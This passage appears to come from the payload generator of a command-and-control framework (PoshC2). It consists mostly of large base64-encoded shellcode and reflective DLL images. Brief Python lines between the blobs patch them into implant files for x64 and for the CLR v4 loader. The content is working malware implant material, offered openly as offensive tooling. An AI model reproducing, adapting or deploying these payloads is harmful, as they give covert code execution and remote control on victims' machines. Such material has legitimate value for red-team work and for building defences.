AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAGAAAABgAAIAAAAAAAAAAAAAAAAAAAAEAAgAAADAAAIAAAAAAAAAAAAAAAAAAAAEACQQAAEgAAABgEAIAfQEAAAAAAAAAAAAAAAAAAAAAAAA8P3htbCB2ZXJzaW9uPScxLjAnIGVuY29kaW5nPSdVVEYtOCcgc3RhbmRhbG9uZT0neWVzJz8+DQo8YXNzZW1ibHkgeG1sbnM9J3VybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYxJyBtYW5pZmVzdFZlcnNpb249JzEuMCc+DQogIDx0cnVzdEluZm8geG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYzIj4NCiAgICA8c2VjdXJpdHk+DQogICAgICA8cmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICAgICAgPHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsIGxldmVsPSdhc0ludm9rZXInIHVpQWNjZXNzPSdmYWxzZScgLz4NCiAgICAgIDwvcmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICA8L3NlY3VyaXR5Pg0KICA8L3RydXN0SW5mbz4NCjwvYXNzZW1ibHk+DQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgAAAUAQAAoKKoorCiuKLIouCi6KLwogijEKMYo0CjUKNYo2CjaKNwo3ijgKOgo6ijsKPIo9Cj2KOYpOCk6KTwpAilEKUYpWCmaKZwpnimgKaIppCmmKagpqimsKa4psCmyKbQptim4KbopvCm+KYApwinEKcYpyCnKKcwpzinQKdIp1CnWKdgp2incKd4p4CniKeQp5inoKeop7CnuKfAp8in0KfYp+Cn6Kfwp/inAKgIqBCoGKggqCioMKg4qECoSKhQqFioYKhoqHCoeKiAqIiokKiYqKCoqKiwqLiowKjIqNCo2KjgqOio8Kj4qACpCKkQqRipIKkoqTCpOKlAqUipUKlYqWCpaKlwqXipgKkAAADwAAAYAQAA8KAAoRChGKEgoSihMKE4oUChSKFYoWChaKFwoXihgKGIoZChqKG4ocChyKHQodih4KHoofCh+KEAogiiEKIYoiCiKKIwojiiQKJIolCiWKJgomiicKJ4ohipIKkoqTCpgKmIqZCpmKmgqaipsKm4qcCpyKnQqdip4KnoqfCp+KkAqgiqEKoYqiCqKKowqjiqQKpIqlCqWKpgqmiqcKp4qoCqiKqQqpiqoKqoqrCquKrAqsiq0Krgquiq8Kr4qgCrCKsQqxirIKsoqzCrOKtAq0irUKtYq2CraKtwq3irgKuIq5CrmKugq6irsKu4q8CryKvQq9ir4Kvoq/Cr+KsArAisEKwYrCCsKKwwrDisAAAAAAEASAEAAAimGKYopjimSKZYpmimeKaIppimqKa4psim2KbopvimCKcYpyinOKdIp1inaKd4p4inmKeop7inyKfYp+in+KcIqBioKKg4qEioWKhoqHioiKiYqKiouKjIqNio6Kj4qAipGKkoqTipSKlYqWipeKmIqZipqKm4qcip2KnoqfipCKoYqiiqOKpIqliqaKp4qoiqmKqoqriqyKrYquiq+KoIqxirKKs4q0irWKtoq3iriKuYq6iruKvIq9ir6Kv4qwisGKworDisSKxYrGiseKyIrJisqKy4rMis2KzorPisCK0YrSitOK1IrVitaK14rYitmK2orbityK3Yreit+K0IrhiuKK44rkiuWK5orniuiK6YrqiuuK7Irtiu6K74rgivGK8orzivSK9Yr2iveK+Ir5ivqK+4r8iv2K/or/ivABABAJAAAAAIoBigKKA4oEigWKBooHigiKCYoKiguKDIoNig6KD4oAihGKEooTihSKFYoWiheKGIoZihqKG4ocih2KHoofihCKIYoiiiOKJIoliiaKJ4ooiimKKooriiyKLYouii+KIIoxijKKM4o0ijWKNoo3ijiKOYo6ijuKPIo9ij6KP4owikGKQopDikACABANABAABgoHCggKCQoKCgsKDAoNCg4KDwoAChEKEgoTChQKFQoWChcKGAoZChoKGwocCh0KHgofChAKIQoiCiMKJAolCiYKJwooCikKKgorCiwKLQouCi8KIAoxCjIKMwo0CjUKNgo3CjgKOQo6CjsKPAo9Cj4KPwowCkEKQgpDCkQKRQpGCkcKSApJCkoKSwpMCk0KTgpPCkAKUQpSClMKVApVClYKVwpYClkKWgpbClwKXQpeCl8KUAphCmIKYwpkCmUKZgpnCmgKaQpqCmsKbAptCm4KbwpgCnEKcgpzCnQKdQp2CncKeAp5CnoKewp8Cn0Kfgp/CnAKgQqCCoMKhAqFCoYKhwqICokKigqLCowKjQqOCo8KgAqRCpIKkwqUCpUKlgqXCpgKmQqaCpsKnAqdCp4KnwqQCqEKogqjCqQKpQqmCqcKqAqpCqoKqwqsCq0KrgqvCqAKsQqyCrMKtAq1CrYKtwq4CrkKugq7CrwKvQq+Cr8KsArBCsIKwwrECsUKxgrHCsgKyQrKCssKzArNCs4KzwrACtEK0grTCtQK1QrWCtcK2ArZCtoK2wrcCt0K3grfCtAK4QriCuMK5ArlCuYK5wroCukK4AUAEAFAAAANil8KX4pVCmWKZopgCAAQBIAAAAAKCoosClCKYopkimaKaIprim0KbYpuCmGKcgp0CoSKhQqFioYKhoqHCoeKiAqIiomKigqKiosKi4qMCoyKjQqADQAQAUAAAAgKuoq8ir8KsYrEisAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATm9uZVww" + self.PatchDll("%sPosh_v2_x64_Shellcode.bin" % name, v2_64, v2_64_offset, "Shellcode") + + # Load CLR "v4.0.30319" + self.QuickstartLog( "" +Colours.END ) + self.QuickstartLog( "ReflectiveDLL that loads CLR v4.0.30319"+Colours.GREEN ) + v4_86_offset = 0x000132E0 + 4 + v4_86 = "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